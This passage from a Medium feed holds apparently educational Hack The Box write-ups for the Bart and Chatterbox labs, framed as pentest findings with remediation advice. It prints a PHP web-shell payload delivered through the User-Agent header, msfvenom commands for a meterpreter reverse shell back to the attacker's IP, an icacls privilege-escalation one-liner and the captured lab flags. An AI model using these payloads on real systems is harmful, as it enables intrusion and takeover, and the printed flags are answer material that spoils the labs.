src="https://cdn-images-1.medium.com/max/912/1*onhhi1i2lye7CDcXtTUmIQ.png" /></figure><h3>1.3 Gobuster Scan</h3><h3>Risk</h3><p>The issue presented with the ability for an external party to perform a webpage discovery scan, like Gobuster or Dirbuster, is the fact that webpages that would not have been previously available to them would be immediately available, such as any login or administrative pages that are intended to be kept from external users to the company/organization. This knowledge can give threat actors an additional potential entry point, which expands the surface area of attack.</p><h3>Recommendations</h3><p>While defending against scans like this can be a challenging task, there are steps that can be taken to prevent this from occurring. This source of scanning has been called “vulnerability scanning” in the past and goes by a few different names. Categorized by OWASP (The Open Worldwide Application Security Project) as OAT-014<a href="#_ftn1">[1]</a>, this risk usually involves a bot or other automated script parsing through commonly used webpage and extension names to see if the HTTP status code results in something other than a 404 Not Found code.</p><p>There are a few ways people typically prevent these scans from being run, most typically the following<a href="#_ftn2">[2]</a>:</p><p>· Hardening the security of your website infrastructure and network devices.</p><p>· Disabling technology and features that you no longer use or that are insecure.</p><p>· Enabling IPS/IDS on your network to detect scanning technology signatures.</p><p>· Patching systems and components as soon as the manufacturer releases an update.</p><p>· Performing vulnerability scanning and penetration testing to identify security holes.</p><p>There are also paid tools available to automatically defend and block these scans, such as DataDome<a href="#_ftn3">[3]</a>, which blocks discovery and other fuzzing scans from being attempted against a network.</p><p><a href="#_ftnref1">[1]</a> <a href="https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning">https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning</a></p><p><a href="#_ftnref2">[2]</a> <a href="https://datadome.co/bot-management-protection/vulnerability-scanning-protection-for-websites-apps-apis/#:~:text=Common%20defense%20methods%20against%20malicious%20vulnerability%20scanning%20can,scanning%20and%20penetration%20testing%20to%20identify%20security%20holes.">https://datadome.co/bot-management-protection/vulnerability-scanning-protection-for-websites-apps-apis/#:~:text=Common%20defense%20methods%20against%20malicious%20vulnerability%20scanning%20can,scanning%20and%20penetration%20testing%20to%20identify%20security%20holes.</a></p><p><a href="#_ftnref3">[3]</a> <a href="https://datadome.co/">https://datadome.co/</a></p><h3>1.4 “Forgot Password” Username Validation</h3><h3>Risk</h3><p>This issue involved a login portal with a “Forgot Password” password recovery section. The issue with how it was built is in the output shown to the user after submitting a set of credentials to be recovered. The idea of having one of these systems itself is not malicious or inherently risky, rather the feedback concept is where the problem is here. Based on if the username provided by the user input existed in the system, two different outputs would be shown. See below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*IJNmSjmvbZt6H13AEDEF7A.png" /><figcaption>In this image, the green box outputs a success, as the username provided was a valid one that had been found, which let us, the attacker, know the name of a username in the system, rather than having no knowledge of the directory naming schema.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*EaeddGF4PGnEUdZxDHZdxg.png" /><figcaption>In this, the red box above states that a recovery email could not be sent, as there was no username found that matching the one we had submitted, tipping us off and letting us know that there was no use in guessing or brute forcing that particular username.</figcaption></figure><h3>Recommendations</h3><p>This is another easy fix, simply change the feedback box to be the same, regardless of whether or not a valid username was submitted. Keeping the current feedback system provides no value to anyone, as they know if they entered their username/email correctly based on if they get the recovery email, and it only serves to check to see if attackers can guess a valid username. This would require an update or change to the system being used, which was likely an internally built and developed system, and if it was provided by a third party vendor, a change submission could be made to change how it works, or a new login portal created.</p><h3>1.5 Simple Password Used</h3><h3>Risk</h3><p>At this point in time, many people are aware of the need for more complex passwords. The password that the assessing team was able to “guess” without even brute forcing the login portal was simply the user’s last name. This was such an obvious and guessable password. Even including a number at the end could have made it much harder to guess. This is a risk because it allows for full, unauthorized access to a user’s account. The user’s last name, given that their username is their first name, is likely the second or third guessed password for someone trying to obtain access, behind either “Password” or the user’s first name again.</p><h3>Recommendations</h3><p>The recommendation for this is simple — change the password. Password/passphrase policy creation frameworks are publicly available, and the one that many professionals would recommend is the NIST SP 800–63–3<a href="#_ftn1">[1]</a>. All NIST (National Institute of Standards and Technology) is a United States government agency based on creation and development of technological standards, often creating publications adopted by organizations looking to follow studied and developed standards. This publication outlines password policies as having 5 guidelines<a href="#_ftn2">[2]</a>:</p><p>· Length — 8–64 characters are recommended.</p><p>· Character types — Nonstandard characters, such as emoticons, are allowed when possible.</p><p>· Construction — Long passphrases are encouraged. They must not match entries in the prohibited password dictionary.</p><p>· Reset — Required only if the password is compromised or forgotten.</p><p>· Multifactor — Encouraged in all but the least sensitive applications.</p><p>The adoption/creation of a similar password policy will help to defend against brute forcing and guessing organization passwords, which forces the attacker to find another vector of attack/point of entry.</p><p><a href="#_ftnref1">[1]</a> <a href="https://csrc.nist.gov/pubs/sp/800/63/3/upd2/final">https://csrc.nist.gov/pubs/sp/800/63/3/upd2/final</a></p><p><a href="#_ftnref2">[2]</a> <a href="https://www.isaca.org/resources/isaca-journal/issues/2019/volume-1/nists-new-password-rule-book-updated-guidelines-offer-benefits-and-risk#:~:text=The%20password%20requirement%20basics%20under%20the%20updated%20NIST,not%20match%20entries%20in%20the%20prohibited%20password%20dictionary.">https://www.isaca.org/resources/isaca-journal/issues/2019/volume-1/nists-new-password-rule-book-updated-guidelines-offer-benefits-and-risk#:~:text=The%20password%20requirement%20basics%20under%20the%20updated%20NIST,not%20match%20entries%20in%20the%20prohibited%20password%20dictionary.</a></p><h3>1.6 Open Source internal chat Exploit</h3><h3>Risk</h3><p>The internal chat system used here was on the internal-01.bart.htb site, which we found through webpage discovery and other enumeration techniques. When we navigated to this page, we were met with another login portal, which fortunately, used a different password than the previous login portal we encountered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*0aUT6yU2mJMUPF1VM8L7gg.png" /></figure><p>When we first attempted to enter credentials, we were met with a message that a password must be at minimum, 8 characters, which was good, but did not have to be displayed, since it served no beneficial purpose, and in fact was a detriment, as it eliminated the use of guessing or brute forcing any passwords under 8 characters. From here, we viewed the page source, including the CSS file that built the webpage, which had a header stating where the code came from, and after google searching for the copyright name on the top, led us to a GitHub repository for the exact internal chat system used<a href="#_ftn1">[1]</a>, letting us see the entire source code, giving us an inside look on how it could be exploited. From here, we found a /register.php page, which fortunately, was not publicly available to users, which was another well-configured thing. However, since we were able to see the source code for how accounts were created, we knew that we could capture a request sent to the page in Burpsuite, and from there, modify it to pass along a username and password that could be used to create an account, and from there, login with our newly created account to view the internal chat log for any additional information. To do this, we simply used a “curl” command in our Kali CLI to pass along a set of credentials that would register an account.</p><p><a href="#_ftnref1">[1]</a> <a href="https://github.com/magkopian/php-ajax-simple-chat/tree/master">https://github.com/magkopian/php-ajax-simple-chat/tree/master</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*sOrPrqADDYJ2W6eE-TMd5Q.png" /></figure><h3>Recommendations</h3><p>To protect against this vulnerability, it is recommended to guard against non-browser attempts to access this webpage, or to take down this webpage/subdomain from being publicly available. Using an alternative like Microsoft Teams or WebEx for all internal communications could also help, as these are larger and more well-protected platforms that have few security risks and vulnerabilities. Using an open-source application likely saved costs, but opened the network up to more vulnerabilities, and allowed us another point of entry.</p><h3>1.7 User-Agent Poisoning</h3><h3>Risk</h3><p>After poking around in the source code of the internal chat system, it was revealed to us that we could modify the User-Agent field in the POST requests to the /log/log.php file on the webserver to include a web-shell command, a commonly performed exploit to obtain a web-shell and pass commands to be executed through POST requests in PHP scripts. This allows attackers to run commands to traverse directories, obtain information about the user performing these attacks, and even create a reverse shell back to their local machine to remotely connect to the network in an unauthorized manner, which is exactly what we did. To test this theory, we passed along a simple PHP command: &lt;?php phpinfo(); ?&gt;</p><p>If this was successful it would output the default PHP information and configuration page, which it did.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4HhIpSRxNAj-wSjJ9AvWrg.png" /></figure><p>From here, we passed along a webshell command to test if we could pass along a “cmd” parameter to obtain RCE: &lt;?php system($_GET[“cmd”]); ?&gt;</p><p>This worked, as we could alter the URI in our web browser to execute commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Uu7xic2n1zwXPAH7hCk6lQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GkDC0l4fUpNMdLAtXzIfBA.png" /></figure><p>In the above images, we passed along a “whoami” command and received the output to the command at the bottom of the page.</p><h3>Recommendations</h3><p>This exploit is also known as “Cache poisoning,” and involves manipulating packets sent to the http server. This can be defended by, as mentioned above, rejecting non-browser requests, done in a few ways<a href="#_ftn1">[1]</a>:</p><p>· Only cache static files</p><p>· Be wary of third-party software</p><p>· Don’t trust data found in http headers</p><p>· Use a strong CAPTCHA</p><p><a href="#_ftnref1">[1]</a> <a href="https://owasp.org/www-community/attacks/Cache_Poisoning">https://owasp.org/www-community/attacks/Cache_Poisoning</a></p><h3>1.8 Autologon Credentials Found</h3><h3>Risk</h3><p>After we were able to get a reverse shell on our local machine, we were able to place WinPEAS on the target machine and scan for vulnerabilities, which revealed to us some autologon credentials stored in plaintext.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*2dddM0_MKkvQxq280dzdAQ.png" /></figure><p>This gave us the administrator username and password used, which is an immediate own of the box, especially if the password is not hashed and salted, which it was not.</p><h3>Recommendations</h3><p>To protect against this, it is advised that, if not possible, disabling automatic login on Windows using Netplwiz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*b7W786RMJKmAJ6K6NSOZxA.png" /><figcaption>Netplwiz is a native Windows program that allows a toggle of if a username and password must be manually entered each time upon login. This was left untoggled and saved the username and password for the administrator account which WinPEAS can detect.</figcaption></figure><p>This can also be disabled in WinRegEdit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Yb4CBtSMX8jLt8BSgFCdZQ.png" /></figure><h3>1.9 Replicable C: Drive</h3><h3>Risk</h3><p>The final major finding and vulnerability in this machine was the ability of a user to replicate the entire C: drive of the machine, which allowed the user to read, write, and execute any files or directories found in the storage system. This is an obvious vulnerability, as all sensitive material found in the storage system were compromised, and were able to be simply exported and analyzed both online and offline. While this can be useful sometimes, this option should be disabled unless necessary.</p><h3>Recommendations</h3><p>Microsoft has an option to disable this exact feature<a href="#_ftn1">[1]</a>. Below is quoted directly from Microsoft Windows documentation:</p><p><a href="#_ftnref1">[1]</a> <a href="https://learn.microsoft.com/en-us/azure/site-recovery/hyper-v-exclude-disk">https://learn.microsoft.com/en-us/azure/site-recovery/hyper-v-exclude-disk</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*VhXqZU3842g50O4NgcDyFg.png" /></figure><h3>Keywords</h3><p>Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb bart</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*qj0KnWJHselxcr5D16-5tQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0ed1d0ed4af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I used ChatGPT to Make Money (With no Startup Costs or Experience)]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://13xch.medium.com/how-i-used-chatgpt-to-make-money-with-no-startup-costs-or-experience-651d57186dc3?source=rss-43f19163806c------2"><img src="https://cdn-images-1.medium.com/max/1920/0*e8r9ZavLXTp6NDMR.png" width="1920"></a></p><p class="medium-feed-snippet">I decided to see if ChatGPT could come up with a way to earn money, and it did.</p><p class="medium-feed-link"><a href="https://13xch.medium.com/how-i-used-chatgpt-to-make-money-with-no-startup-costs-or-experience-651d57186dc3?source=rss-43f19163806c------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://13xch.medium.com/how-i-used-chatgpt-to-make-money-with-no-startup-costs-or-experience-651d57186dc3?source=rss-43f19163806c------2</link>
            <guid isPermaLink="false">https://medium.com/p/651d57186dc3</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[passive-income]]></category>
            <category><![CDATA[marketing]]></category>
            <category><![CDATA[affiliate-marketing]]></category>
            <category><![CDATA[chatgpt]]></category>
            <dc:creator><![CDATA[13xch]]></dc:creator>
            <pubDate>Fri, 12 Jan 2024 15:55:00 GMT</pubDate>
            <atom:updated>2024-01-12T16:12:03.519Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[HacktheBox Write up — Chatterbox]]></title>
            <link>https://13xch.medium.com/hackthebox-write-up-chatterbox-bda2638d308b?source=rss-43f19163806c------2</link>
            <guid isPermaLink="false">https://medium.com/p/bda2638d308b</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[learning-to-code]]></category>
            <dc:creator><![CDATA[13xch]]></dc:creator>
            <pubDate>Fri, 12 Jan 2024 15:17:53 GMT</pubDate>
            <atom:updated>2024-01-12T15:59:13.750Z</atom:updated>
            <content:encoded><![CDATA[<h3>HacktheBox Write up — Chatterbox</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*PQvWqGTNE1cZeOv3trrgzg.png" /></figure><blockquote>HTB Walkthrough at Bottom</blockquote><h3>Key Takeaways</h3><p>The version being used for AChat, the LAN chat platform, is a version that can be simply compromised using a well-known exploit (See 1.2) that allows an outside threat actor unauthorized access into a system, and then, after a simple privilege escalation by a configuration left unchecked (See 1.3), this threat actor is able to escalate privileges to access any file they want.</p><h3>Objectives</h3><p>Obtain the user flag by gaining any kind of remote access to the target machine/environment and extract the “user flag” string of characters, then escalate privileges, often to the “root” user or system owner to then get the “root flag,” typically only accessible by this user.</p><h3>Recommendations</h3><h3>1.1 Nmap Scan</h3><p>The target machine was susceptible to having an nmap scan run against it.</p><p>“Nmap, a key tool in penetration testing, is used to discover hosts and vulnerabilities by probing network services. The official Nmap documentation <a href="https://nmap.org/book/">https://nmap.org/book/</a> outlines its methodology, involving packet transmission and response analysis. While invaluable for identifying weaknesses, Nmap scans carry risks, potentially triggering security alerts and revealing the penetration test. Balancing its significance and associated risks is crucial for a successful penetration testing strategy.”</p><h3>Risk</h3><p>There are multiple risks associated with allowing an nmap scan to go undetected/unprevented. It can allow a threat actor to map out the network and gain more information about the infrastructure, operating system, and other services running on the network/machine. Any information that an attacker can get from their “discovery” phase is useful to them, and limiting the publicly facing interfaces that an attacker can encounter is a good idea.</p><h3>Recommendations</h3><p>There are ways to prevent, or at a minimum, detect an nmap scan or other network mapping scan performed against a network (<a href="https://www.ciscopress.com/articles/article.asp?p=469623&amp;seqNum=5#:~:text=As%20explained%20earlier%2C%20NMap%20is%20a%20tool%20of,to%20protect%20against%20NMap%20scans%20involves%20several%20components.">Detecting a Scan &gt; Penetration Testing and Network Defense: Performing Host Reconnaissance | Cisco Press</a>):</p><p>· Intrusion Detection</p><p>IDSs are similar to home security systems (burglar alarms) that monitor entry or breach into your home or office. Like the home security systems, IDSs log an alarm entry into the network. Unlike most home systems, however, you can configure an IDS to actually fight back with TCP RSTs and SHUN commands in the efforts to stop further entry or damage to the network. Location it critical with these systems, just like a standard security camera is to a security guard. That is why most IDSs are located where they can see as much traffic as possible.</p><p>· Anomaly Detection Systems</p><p>Anomaly detection systems (also called profile-based detection systems) are designed to watch user or network profiles. For example, an anomaly detection system alarms if it notices a network that normally is at 30 percent utilization peak up to 90 percent for a long period.</p><p>· Misuse Detection System</p><p>Misuse detection uses pattern matching. These systems contain a database of hundreds of patterns and signatures that are used to match with traffic on a network cable. You can compare misuse detection to standard disk antivirus software, where the antivirus software scans your hard drive looking for patterns in programs and files that represent malicious alterations. Misuse detection reads frames and packets off a cable instead of a hard drive. These are the most commonly used detection systems today. However, they can quickly become out of date as new attacks emerge that are not within the signature database.</p><h3>1.2 AChat Reverse-TCP Exploit (Buffer Overflow)</h3><p>“AChat client is software which allows you to connect to any Online Chat service using Windows Live ID. AChat client is the most important component of a good Live ID service. AChat client works exactly as a Desktop application. AChat client works on the basis of a central “ui” system (including channel list, room list, message board) and each instance of a Chat client connects to a unique central channel.”</p><p>This software was installed and being ran on this machine, on port 9255. This knowledge, paired with the version being displayed in my nmap scan, allowed me to look for an exploit for this particular version (AChat 0.150 Beta 7 Windows 7/8/10 x86/x64). A quick Google search showed that this version was vulnerable to a reverse-shell exploit, which in fact worked, and gave me an easy entry point to the system.</p><p><a href="https://github.com/mpgn/AChat-Reverse-TCP-Exploit">This Github page</a>, along with <a href="https://www.exploit-db.com/exploits/36025">this Exploit-DB page</a>, gave me the exact payload I needed to exploit this vulnerability. By modifying certain parameters to correspond with the target IP I was given, along with changing the listening host and port to one on my local machine, I was able to launch a payload that started a reverse shell back to my local machine, giving me access as user “Alfred.”</p><h3>Risk</h3><p>This vulnerability holds a huge risk, as any machine running this particular version of software can be exploited and gained remote, unauthorized access to. This is a buffer overflow based exploit, and the exploit is crafted with a simple knowledge of the target’s IP address.</p><h3>Recommendations</h3><p>There are a few paths that can be taken here to prevent this from being exploited. The easiest of which would be to update/upgrade to a newer version of Achat that has this vulnerability patched. After searching around, this is hard to find without a license or any kind of support from the vendor from which it was purchased, as a newer open source version is not found online, and is likely not a secure download.</p><p>A better, though possibly more costly and resource-consuming, alternative would be to migrate this chat system to a different platform.</p><p><a href="https://medevel.com/12-os-network-messangers/#:~:text=13%20Open-source%20Free%20LAN%20Messengers%20and%20Local%20Network,Khernet%20...%208%208-%20Meshenger%20...%20More%20items">This list</a> details 13 open-source, free alternatives for LAN messengers and local network chat clients.</p><p>If in the budget, Rocket.chat is another platform that can be utilized, as it has great reviews and a live support feature, as well as enterprise pricing plans for larger organizations (<a href="https://www.rocket.chat/">Rocket.Chat: Communications Platform You Can Fully Trust</a>).</p><h3>1.3 ICACL /grant</h3><p>Once I had access as user “Alfred,” escalating privileges took about 10 minutes with the permissions this user was granted. Assuming that this was an overlooked configuration and not intentional, there are ways to patch this to defend against simple escalation of privileges by this method.</p><p>“In a cybersecurity context, the term “icacl /grant” likely refers to a command used in Microsoft Windows environments to modify or grant permissions using the iCACLS (Integrity Control Access Control List) command-line tool. The iCACLS command is used to view and manipulate discretionary access control lists (DACLs) on specified files, folders, or other objects in the Windows operating system.</p><p>Specifically, the “/grant” option is used to grant specific permissions to a user or group on a particular object. Permissions control who can access a resource and what actions they can perform on it. By using “icacl /grant,” administrators can explicitly define and modify these permissions.”</p><p>As user Alfred was shown to have read permissions of the user “Administrator’s” Desktop, we assumed that something more could be done as this user to grant permissions to gain read access to these files.</p><p>A simple one-liner granted full read-write access to any file we specified, as this command was not disabled, and was likely left in it’s default configuration.</p><h3>Risk</h3><p>This is a risk for the exact reason of how I utilized the vulnerability. A rogue agent with unauthorized access can grant permissions to themselves to gain read-write-execute access to files they otherwise would not be able to access, compromising the security of the overall network/machine.</p><h3>Recommendations</h3><p>Disabling this permission to run “icacl /grant” for unauthorized users is the best method to eliminate this vulnerability. <a href="https://community.spiceworks.com/topic/2469621-how-to-deny-all-permissions-except-read-execute-to-a-folder-using-icacls#:~:text=You%20would%20first%20want%20to%20disable%20inheritance%20%28if,read%20and%20execute%3A%20icacls%20%22E%3AFolder%22%20%2Fgrant%20%22domainuser%3A%20%28RX%29%22">This article</a> outlines some steps that can be done to only allow specific /grant parameters for users on specific files/folders. This is a rather simple fix for a high-rated vulnerability.</p><h3>Methodology</h3><h3>Enumeration</h3><p>To begin, we will run an nmap scan on this box, as we typically do. This will show us what ports and services are available and running on this target machine.</p><p>nmap -sV -sC -p- 10000 10.129.235.168</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WidPsRDrRwqXyuXItH7v6w.png" /></figure><p>From this, we can see a few different ports running.</p><p>Based on the Nmap scan results, it appears to be a Windows machine running Windows 7 Professional 7601 Service Pack 1. The hostname is identified as “CHATTERBOX,” and the system is part of the “WORKGROUP” workgroup. The open ports suggest typical services and protocols associated with Windows systems, such as Microsoft RPC, netbios-ssn, and a chat system on ports 9255 and 9256.</p><p>Of note, is the fact that guest mode is enabled on the SMB service, and message signing is disabled (as is by default).</p><p>Let’s start by looking at AChat.</p><p>“AChat client is software which allows you to connect to any Online Chat service using Windows Live ID.”</p><p>A quick Google search shows a reverse TCP shell exploit on GitHub, so let’s check that out.</p><p><a href="https://github.com/mpgn/AChat-Reverse-TCP-Exploit">GitHub — mpgn/AChat-Reverse-TCP-Exploit: Tested on AChat 0.150 Beta 7 Windows 7/8/10 x86/x64</a></p><p>This exploit is shown to work on Windows 7/8 and 10, and we know that this machine is running Windows 7 Professional (we know this from our nmap scan), so we have a strong guess that it will work.</p><h3>AChat Reverse Shell</h3><p>Let’s check out what this GitHub page says to do, and then try it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*GWLhkH9tx4AS6cy_chn2DQ.png" /></figure><p>This looks like a standard Buffer Overflow attack, exploiting a mishandling of machine storage by overwhelming it and putting too much data in a certain payload which we will send.</p><p>Let’s try starting an instance of msfvenom to craft our payload.</p><p>Let’s clone into the HG repo on our local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*nWxzqRiHMWU4PM8-Eiuk0A.png" /></figure><p>Following the instructions on the GH readme, we can run the sh on our local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*mjS8Sztiix5cEKjaYQrK0A.png" /></figure><p>After entering our details for the payload when prompted, we then get an output to copy into our payload, which we will then copy and paste into the .py file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*Ki9NGZK-6K6grApaVJoEPg.png" /></figure><p>We can then start the msfconsole and run our crafted payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PVrXwxPByQov6BmjVj-kFw.png" /></figure><p>In Metasploit, we will set the LHOST to our local IP, along with the LPORT to our local listening port. I will use 4444, as is used by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xPSassPKMvtFjzbPurn1xQ.png" /></figure><p>After running the listener on msfconsole and launching the payload from the GitHub repo, we are unable to get a connection. We will have to find an alternative way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*QpEICyEZcBI9r4DHrAhWgw.png" /></figure><h3>Exploit-DB Method</h3><p>Fortunately, after poking around some more, we found another exploit for AChat we can try out.</p><p><a href="https://www.exploit-db.com/exploits/36025">AChat 0.150 beta7 — Remote Buffer Overflow — Windows remote Exploit (exploit-db.com)</a></p><p>The page shows a simple one-liner we can modify and run to start:</p><p>msfvenom -a x86 — platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python</p><p>We need to change this from the calc.exe to a reverse shell, as well as to include our local port and IP:</p><p>msfvenom -a x86 — platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.8 LPORT=4443 -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python</p><p>After running this, we are given a payload we can use in our buffer overflow attack.</p><p>We can copy the script into a new .py file and replace the buffer overflow payload with the one we just crafted, and from here, we can run msfconsole as we did before, as a listener.</p><p>Very important is to change the target IP in the python script to the correct one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*9f2lCVmAsSgqHVkk3SJfyA.png" /></figure><p>As I was getting problems with using msfvenom, I used a standard netcat listener to grab a connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*cnAVZJGeQMzOid1bb1smKQ.png" /></figure><p>After trying this a few times, we kept losing connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*bRCgy3wG7celaBphUqOOHQ.png" /></figure><p>Looks like we have to use msfconsole to hold a steady connection.</p><p>We can cd .. out of wherever we are on the meterpreter to get to the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*avR-lJQxKwfby4R5peVHBg.png" /></figure><p>From here, we can navigate to get the user flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*58Zh-UcJ7IOn10l49y7yPg.png" /></figure><p>User flag: 3c40b5285669016fec7a274be7e60426</p><h3>Privilege Escalation</h3><p>We can find the root flag on user Administrator’s desktop, though we cannot access it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*6j6jFyYZ3lyg87GEknpPyA.png" /></figure><p>We are able to access user Alfred’s desktop, so let’s see what else he can do.</p><p>Unfortunately, we are in a meterpreter session, and we need to be in some sort of shell to run some of these commands that we need to run, so let’s find a way to launch a shell.</p><p>To do this, all we need to do is enter command “shell.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*aMd1t9lky-KD-dUcXxTNbg.png" /></figure><p>Let’s now run something that will show us the ACL for this user.</p><p>Icacls Desktop (from parent directory to Users\Administrator\</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*vfiFFUe1ywdLg1w528yyHA.png" /></figure><p>Interesting, we see that Alfred can read and access the Desktop for the admin user, but cannot read the root.txt file we need. Let’s see if we can somehow simply grant this permission:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*rZXlVnFaexfmpAsJegCyew.png" /></figure><p>We can, we simply have to run:</p><p>icacls root.txt /grant Alfred:F</p><p>Root flag: ee74988424b07a8714e4179b84eee060</p><h3>Keywords</h3><p>Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb chatterbox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*zf3yT2xwl6YTSyF2PlcwDw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bda2638d308b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HacktheBox Write-up — Knife]]></title>
            <link>https://13xch.medium.com/hackthebox-write-up-knife-f3b778499de9?source=rss-43f19163806c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3b778499de9</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ceh-certification]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[13xch]]></dc:creator>
            <pubDate>Mon, 13 Nov 2023 03:48:42 GMT</pubDate>
            <atom:updated>2024-01-15T16:44:09.919Z</atom:updated>
